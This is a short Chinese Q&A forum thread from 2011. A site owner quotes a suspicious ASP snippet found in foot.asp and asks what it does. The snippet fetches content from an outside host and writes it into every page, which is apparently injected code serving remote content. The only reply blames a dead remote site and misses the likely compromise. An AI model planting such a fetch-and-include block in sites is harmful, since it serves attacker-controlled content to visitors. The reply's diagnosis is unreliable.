+ -
当前位置:首页 → 问答吧 → 这段代码是什么意思?

这段代码是什么意思?

时间:2011-09-11

来源:互联网

网站出错在foot.asp压面发现与这个错误提示:msxml3.dll 错误 '800c0005'

系统错误: -2146697211。

/foot.asp,行 116


查看foot.asp看到出错地方有下面显示的这段代码,觉得有点奇怪,请问是什么意思呢?


<%
Path="http://url.6wg.in/url.asp"
t = GetBody(Path)
Response.BinaryWrite t

Function GetBody(url)
Set Retrieval = CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody = .ResponseBody
End With
on error resume next
if Retrieval.status <>200 then
Set Retrieval = Nothing
exit function
end if
End Function
%>

作者: peliceman   发布时间: 2011-09-11

msxml3.dll 出现错误基本是可以肯定目标网站挂了,你获取不了数据。

作者: kuhanzhu   发布时间: 2011-09-13